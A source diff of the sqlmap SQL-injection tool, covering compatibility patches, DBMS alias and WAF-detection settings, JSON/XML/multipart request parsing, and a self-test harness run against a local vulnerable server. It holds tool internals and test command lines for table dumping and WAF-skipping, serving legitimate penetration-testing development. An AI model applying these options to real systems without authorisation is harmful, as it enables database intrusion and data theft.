if six.PY3:
if not hasattr(_http_client.HTTPConnection, "__send_output"):
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
def _send_output(self, *args, **kwargs):
if conf.chunked and "encode_chunked" in kwargs:
if conf.get("chunked") and "encode_chunked" in kwargs:
kwargs["encode_chunked"] = False
self.__send_output(*args, **kwargs)
@@ -71,6 +77,15 @@ def dirtyPatches():
# to prevent too much "guessing" in case of binary data retrieval
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
# https://github.com/sqlmapproject/sqlmap/issues/4314
try:
os.urandom(1)
except NotImplemented:
if six.PY3:
os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
else:
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
def resolveCrossReferences():
"""
Place for cross-reference resolution
@@ -100,3 +115,35 @@ def pympTempLeakPatch(tempDir):
multiprocessing.util.get_temp_dir = lambda: tempDir
except:
pass
def unisonRandom():
"""
Unifying random generated data across different Python versions
"""
def _lcg():
global _rand
a = 1140671485
c = 128201163
m = 2 ** 24
_rand = (a * _rand + c) % m
return _rand
def _randint(a, b):
_ = a + (_lcg() % (b - a + 1))
return _
def _choice(seq):
return seq[_randint(0, len(seq) - 1)]
def _sample(population, k):
return [_choice(population) for _ in xrange(k)]
def _seed(seed):
global _rand
_rand = seed
random.choice = _choice
random.randint = _randint
random.sample = _sample
random.seed = _seed
+1 -1
View File
@@ -25,7 +25,7 @@ def setDbms(dbms):
hashDBWrite(HASHDB_KEYS.DBMS, dbms)
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
if _:
+53 -15
View File
@@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.4.2.0"
VERSION = "1.4.12.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -52,6 +52,9 @@ IPS_WAF_CHECK_RATIO = 0.5
# Timeout used in heuristic check for WAF/IPS protected targets
IPS_WAF_CHECK_TIMEOUT = 10
# Timeout used in checking for existence of live-cookies file
LIVE_COOKIES_TIMEOUT = 120
# Lower and upper values for match ratio in case of stable page
LOWER_RATIO_BOUND = 0.02
UPPER_RATIO_BOUND = 0.98
@@ -66,9 +69,11 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
URI_QUESTION_MARKER = "__QUESTION_MARK__"
ASTERISK_MARKER = "__ASTERISK_MARK__"
REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__"
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
SAFE_VARIABLE_MARKER = "__SAFE__"
SAFE_HEX_MARKER = "__SAFE_HEX__"
DOLLAR_MARKER = "__DOLLAR__"
RANDOM_INTEGER_MARKER = "[RANDINT]"
RANDOM_STRING_MARKER = "[RANDSTR]"
@@ -93,6 +98,12 @@ PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s
# Regular expression used in recognition of generic protection mechanisms
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
# Regular expression used to detect errors in fuzz(y) UNION test
FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error"
# Upper threshold for starting the fuzz(y) UNION test
FUZZ_UNION_MAX_COLUMNS = 10
# Regular expression used for recognition of generic maximum connection messages
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
@@ -243,7 +254,7 @@ PYVERSION = sys.version.split()[0]
IS_WIN = PLATFORM == "nt"
# Check if running in terminal
IS_TTY = os.isatty(sys.stdout.fileno())
IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
# DBMS system databases
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
@@ -257,7 +268,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
@@ -266,11 +277,16 @@ MCKOI_SYSTEM_DBS = ("",)
PRESTO_SYSTEM_DBS = ("information_schema",)
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
CUBRID_SYSTEM_DBS = ("DBA",)
CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
EXTREMEDB_SYSTEM_DBS = ("",)
FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
# Note: (<regular>) + (<forks>)
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb")
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "redshift", "greenplum", "yellowbrick", "enterprisedb", "aurora")
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
SQLITE_ALIASES = ("sqlite", "sqlite3")
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
@@ -288,13 +304,18 @@ MCKOI_ALIASES = ("mckoi",)
PRESTO_ALIASES = ("presto",)
ALTIBASE_ALIASES = ("altibase",)
MIMERSQL_ALIASES = ("mimersql", "mimer")
CRATEDB_ALIASES = ("cratedb", "crate")
CUBRID_ALIASES = ("cubrid",)
CACHE_ALIASES = ("intersystems cache", "cachedb", "cache")
EXTREMEDB_ALIASES = ("extremedb", "extreme")
FRONTBASE_ALIASES = ("frontbase",)
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES)
SUPPORTED_OS = ("linux", "windows")
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES))
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES))
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
REFERER_ALIASES = ("ref", "referer", "referrer")
@@ -307,6 +328,10 @@ UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
VERTICA_DEFAULT_SCHEMA = "public"
MCKOI_DEFAULT_SCHEMA = "APP"
CACHE_DEFAULT_SCHEMA = "SQLUser"
# DBMSes where OFFSET mechanism starts from 1
PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
# Names that can't be used to name files on Windows OS
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -560,6 +585,9 @@ HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
# Table used for Base64 conversion in WordPress hash cracking routine
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox)
IGNORED_OPTIONS = ("--compressed",)
# Chars used to quickly distinguish if the user provided tainted parameter values
DUMMY_SQL_INJECTION_CHARS = ";()'"
@@ -582,7 +610,7 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
# Period after last-update to start nagging about the old revision
LAST_UPDATE_NAGGING_DAYS = 60
LAST_UPDATE_NAGGING_DAYS = 180
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
@@ -745,7 +773,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than")
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ")
# TLDs used in randomization of email-alike parameter values
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
@@ -793,7 +821,7 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
# Regular expression used for detecting JSON-like POST data
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z"
# Regular expression used for detecting multipart POST data
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
@@ -894,14 +922,24 @@ for key, value in os.environ.items():
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
if _ in globals():
globals()[_] = value
original = globals()[_]
if isinstance(original, int):
try:
globals()[_] = int(value)
except ValueError:
pass
elif isinstance(original, bool):
globals()[_] = value.lower() in ('1', 'true')
elif isinstance(original, (list, tuple)):
globals()[_] = [__.strip() for __ in _.split(',')]
else:
globals()[_] = value
# Installing "reversible" unicode (decoding) error handler
def _reversible(ex):
if isinstance(ex, UnicodeDecodeError):
if INVALID_UNICODE_PRIVATE_AREA:
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
else:
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
if INVALID_UNICODE_PRIVATE_AREA:
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
else:
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
codecs.register_error("reversible", _reversible)
+15 -16
View File
@@ -111,7 +111,7 @@ def _setRequestParams():
def process(match, repl):
retVal = match.group(0)
if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'):
retVal = repl
while True:
_ = re.search(r"\\g<([^>]+)>", retVal)
@@ -120,7 +120,7 @@ def _setRequestParams():
else:
break
if kb.customInjectionMark in retVal:
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name")))
return retVal
@@ -145,6 +145,7 @@ def _setRequestParams():
if choice == 'Q':
raise SqlmapUserQuitException
elif choice == 'Y':
kb.postHint = POST_HINT.JSON
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
@@ -159,8 +160,6 @@ def _setRequestParams():
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
kb.postHint = POST_HINT.JSON
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
message = "JSON-like data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
@@ -169,13 +168,16 @@ def _setRequestParams():
if choice == 'Q':
raise SqlmapUserQuitException
elif choice == 'Y':
kb.postHint = POST_HINT.JSON_LIKE
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
kb.postHint = POST_HINT.JSON_LIKE
if '"' in conf.data:
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
else:
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
message = "Array-like data found in %s body. " % conf.method
@@ -185,12 +187,11 @@ def _setRequestParams():
if choice == 'Q':
raise SqlmapUserQuitException
elif choice == 'Y':
kb.postHint = POST_HINT.ARRAY_LIKE
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
kb.postHint = POST_HINT.ARRAY_LIKE
elif re.search(XML_RECOGNITION_REGEX, conf.data):
message = "SOAP/XML data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
@@ -199,13 +200,12 @@ def _setRequestParams():
if choice == 'Q':
raise SqlmapUserQuitException
elif choice == 'Y':
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
message = "Multipart-like data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
@@ -214,13 +214,12 @@ def _setRequestParams():
if choice == 'Q':
raise SqlmapUserQuitException
elif choice == 'Y':
kb.postHint = POST_HINT.MULTIPART
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
kb.postHint = POST_HINT.MULTIPART
if not kb.postHint:
if kb.customInjectionMark in conf.data: # later processed
pass
@@ -401,7 +400,7 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg)
if conf.csrfToken:
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg)
@@ -491,7 +490,7 @@ def _resumeDBMS():
dbms = value.lower()
dbmsVersion = [UNKNOWN_DBMS_VERSION]
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
if _:
+139 -50
View File
@@ -5,8 +5,6 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import doctest
import logging
import os
@@ -20,7 +18,6 @@ import threading
import time
from extra.vulnserver import vulnserver
from lib.core.common import clearColors
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import randomInt
@@ -33,8 +30,7 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
_rand = 0
from lib.core.patch import unisonRandom
def vulnTest():
"""
@@ -43,19 +39,26 @@ def vulnTest():
TESTS = (
("-h", ("to see full list of options run with '-hh'",)),
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
(u"-c <config> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
("--dependencies", ("sqlmap requires", "third-party library")),
("-u <url> --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
("<piped> -r <request> -l <log> --flush-session --banner --technique=B", ("banner: '3.", "STDIN")),
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
@@ -87,9 +90,13 @@ def vulnTest():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((address, port))
break
s.send(b"GET / HTTP/1.0\r\n\r\n")
if b"vulnserver" in s.recv(4096):
break
except:
time.sleep(1)
finally:
s.close()
handle, config = tempfile.mkstemp(suffix=".conf")
os.close(handle)
@@ -122,12 +129,25 @@ def vulnTest():
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
for tag, value in (("<url>", url), ("<direct>", direct), ("<request>", request), ("<log>", log), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
options = options.replace(tag, value)
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
if "<tmp>" in cmd:
handle, tmp = tempfile.mkstemp()
os.close(handle)
cmd = cmd.replace("<tmp>", tmp)
if "<piped>" in cmd:
cmd = re.sub(r"<piped>\s*", "", cmd)
cmd = "echo %s | %s" % (url, cmd)
output = shellExec(cmd)
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
dataToStdout("---\n\n$ %s\n" % cmd)
